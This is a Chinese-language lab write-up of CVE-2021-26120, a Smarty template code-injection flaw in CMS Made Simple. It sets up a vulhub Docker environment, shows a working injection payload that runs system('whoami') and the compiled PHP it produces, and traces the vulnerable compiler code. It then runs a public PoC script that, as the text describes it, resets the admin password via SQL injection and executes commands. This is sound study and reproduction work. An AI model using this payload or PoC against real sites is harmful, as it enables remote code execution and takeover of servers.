漏洞介绍

CMS Made Simple(CMSMS)是一个免费的开放源码内容管理系统,为开发人员、程序员和网站所有者提供基于网络的开发和管理功能。Smarty是通过PHP开发的模板引擎,它分开了PHP逻辑代码与外观(HTML页)以便于管理。CVE-2021-26120是一个代码注入漏洞,攻击者可以通过构造恶意请求在Smarty模板中注入PHP代码,从而在服务器上执行任意代码。该漏洞是由于Smarty在处理特定模板语法时的安全缺陷引起的。

漏洞范围

PHP Smarty < 3.1.39

CMS Made Simple <= 2.2.15

漏洞靶场

使用vulhub的靶场:

使用的环境是cmsms 2.2.9.1

vulhub-master/cmsms/CVE-2021-26120

启动靶场环境:

1
docker-compose up -d

服务启动后,访问http://your-ip/install.php并安装CMS服务。安装过程请根据页面中的安装向导来进行,其中MySQL数据库的地址是db,数据库名是cmsms,账号和密码均为root

image-20250316184033911

一路Next安装

访问http://127.0.0.1出现首页说明安装成功

image-20250316184207632

漏洞原理

假设已经知道了:
当访问一个模板文件时,smarty会根据模板文件生成对应的.php编译文件,在下次有相同请求时直接调用,否则重新编译并写新文件。
根据poc,先打个请求看看,/?juju={function+name=test}{/function},发现在tmp/tempaltes_c/生成一个编译文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
/* Smarty version 3.1.38, created on 2022-03-31 20:45:53
from '8c326fc8392e7d13b7f993823e2215eb02fb980e' */

/* @var Smarty_Internal_Template $_smarty_tpl */
if ($_smarty_tpl->_decodeProperties($_smarty_tpl, array (
'version' => '3.1.38',
'unifunc' => 'content_6245a281551806_05807432',
'has_nocache_code' => false,
'file_dependency' =>
array (
),
'includes' =>
array (
),
),false)) {
function content_6245a281551806_05807432 (Smarty_Internal_Template $_smarty_tpl) {
$_smarty_tpl->smarty->ext->_tplFunction->registerTplFunctions($_smarty_tpl, array (
'test' =>
array (
'compiled_filepath' => 'D:\\program\\phpStudy_64\\phpstudy_pro\\WWW\\smarty-3.1.38\\templates_c\\8c326fc8392e7d13b7f993823e2215eb02fb980e_0.string.php',
'uid' => '8c326fc8392e7d13b7f993823e2215eb02fb980e',
'call_name' => 'smarty_template_function_test_8448067526245a2812ef2c6_13818238',
),
));
}
/* smarty_template_function_test_8448067526245a2812ef2c6_13818238 */
if (!function_exists('smarty_template_function_test_8448067526245a2812ef2c6_13818238')) {
function smarty_template_function_test_8448067526245a2812ef2c6_13818238(Smarty_Internal_Template $_smarty_tpl,$params) {
foreach ($params as $key => $value) {
$_smarty_tpl->tpl_vars[$key] = new Smarty_Variable($value, $_smarty_tpl->isRenderingCache);
}
}}
/*/ smarty_template_function_test_8448067526245a2812ef2c6_13818238 */
}

打个poc:?juju={function+name=’rce(){};system(“whoami”);function ‘}{/function}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
/* Smarty version 3.1.38, created on 2022-03-31 20:49:29
from 'a3aabdfcc563678b439f63a9e8fff2d056eed2a7' */

/* @var Smarty_Internal_Template $_smarty_tpl */
if ($_smarty_tpl->_decodeProperties($_smarty_tpl, array (
'version' => '3.1.38',
'unifunc' => 'content_6245a3598b4cf6_00370686',
'has_nocache_code' => false,
'file_dependency' =>
array (
),
'includes' =>
array (
),
),false)) {
function content_6245a3598b4cf6_00370686 (Smarty_Internal_Template $_smarty_tpl) {
$_smarty_tpl->smarty->ext->_tplFunction->registerTplFunctions($_smarty_tpl, array (
'rce(){};system("whoami");function ' =>
array (
'compiled_filepath' => 'D:\\program\\phpStudy_64\\phpstudy_pro\\WWW\\smarty-3.1.38\\templates_c\\a3aabdfcc563678b439f63a9e8fff2d056eed2a7_0.string.php',
'uid' => 'a3aabdfcc563678b439f63a9e8fff2d056eed2a7',
'call_name' => 'smarty_template_function_rce(){};system("whoami");function _20858581166245a35986de39_17347318',
),
));
}
/* smarty_template_function_rce(){};system("whoami");function _20858581166245a35986de39_17347318 */
if (!function_exists('smarty_template_function_rce(){};system("whoami");function _20858581166245a35986de39_17347318')) {
function smarty_template_function_rce(){};system("whoami");function _20858581166245a35986de39_17347318(Smarty_Internal_Template $_smarty_tpl,$params) {
foreach ($params as $key => $value) {
$_smarty_tpl->tpl_vars[$key] = new Smarty_Variable($value, $_smarty_tpl->isRenderingCache);
}
}}
/*/ smarty_template_function_rce(){};system("whoami");function _20858581166245a35986de39_17347318 */
}

大概可以看出第28行中,rce(){};system(“whoami”);function 插入函数名中,通过{};结束前面一个函数定义,通过function 使后面生成的编译文件名部分字符串提前成为了函数名,中间便导致了插入。
debug跟入看看:(确保删除已经生成的编译文件,调试比较长,只列出一些关键函数)
从display进入->_execute
img

lib/smarty/sysplugins/smarty_internal_templatebase.php#L119-L123

_execute调用createTemplate生成模板,
img

lib/smarty/sysplugins/smarty_internal_templatebase.php#L156-L175

接着开始render: img

lib/smarty/sysplugins/smarty_internal_templatebase.php#L216

进入smarty_internal_template.php的render,跟进到compiled->render:
img

lib/smarty/sysplugins/smarty_internal_template.php#L206

进入smarty_internal_compiled.php的render,跟进到process:
img

lib/smarty/sysplugins/smarty_internal_compiled.php#L163

进入smarty_internal_compiled.php的process中,断点的两个地方:
img

lib/smarty/sysplugins/smarty_internal_compiled.php#L100, L103

compileTemplateSource编译模板源,文件的最后写入就是发生在这里,loadCompiledTemplate再进行加载,
跟进compileTemplateSource:
img

lib/smarty/sysplugins/smarty_internal_compiled.php#L204

compileTemplateSource通过$this->write写文件,跟进write:
img

lib/smarty/sysplugins/smarty_internal_compiled.php#L226-L239

filepath就是文件路径,code则为最终编译文件的代码。不过这是最后一步了,先得往回看如何compileTemplate
在smarty_internal_templatecompilerbase.php中注释也说了,get code frame of compiled template,
img

lib/smarty/sysplugins/smarty_internal_templatecompilerbase.php#L334

跟进如何compileTemplateSource的:
在smarty_internal_templatecompilerbase.php的compileTemplateSource中,调用了doCompile
img

lib/smarty/sysplugins/smarty_internal_templatecompilerbase.php#L404

在这里还是我们传入的payload,
img
对于payload主要的解析过程,就在doParse过程中:
img

lib/smarty/sysplugins/smarty_internal_smartytemplatecompiler.php#L114, L118

偷了个懒,因为这部分太长了,加之我也没仔细去跟,就直接跳到最后callTagCompiler
img
callTagCompiler就相当于调用某类的compile方法:
img

lib/smarty/sysplugins/smarty_internal_templatecompilerbase.php#L905-L910

因为tag为function,所以跟进了smarty_internal_compile_function.php,这里提一下smarty_internal_compile_function.php分别定义了smarty_internal_compile_function和smarty_internal_compile_functionclose两个不同类,分别Compiles code for the {function} and {/function} tag
最后就是compile:
img

lib/smarty/sysplugins/smarty_internal_compile_function.php#L106

可以看见,payload被原原本本给了$_name,然后就是简单了,$_name直接拼接,带入了最后的内容中
img

lib/smarty/sysplugins/smarty_internal_compile_function.php#L130-L133

然后就是写个新的模板文件什么的,不多说了。
现在跳回一开始compileTemplateSource和loadCompiledTemplate的地方,loadCompiledTemplate中include了编译文件。
img

lib/smarty/sysplugins/smarty_template_compiled.php#L127-L139

img

位于编译文件中

漏洞复现

poc使用

使用https://srcincite.io/pocs/cve-2021-26120.py.txt中分享的POC,可以使用SQL注入漏洞重置管理员密码,并执行任意命令:

1
python poc.py 127.0.0.1 / id

image-20250316205925569

id命令执行成功

参考

文章 - Smarty 最新 SSTI 总结 - 先知社区 (aliyun.com)

https://xz.aliyun.com/news/10579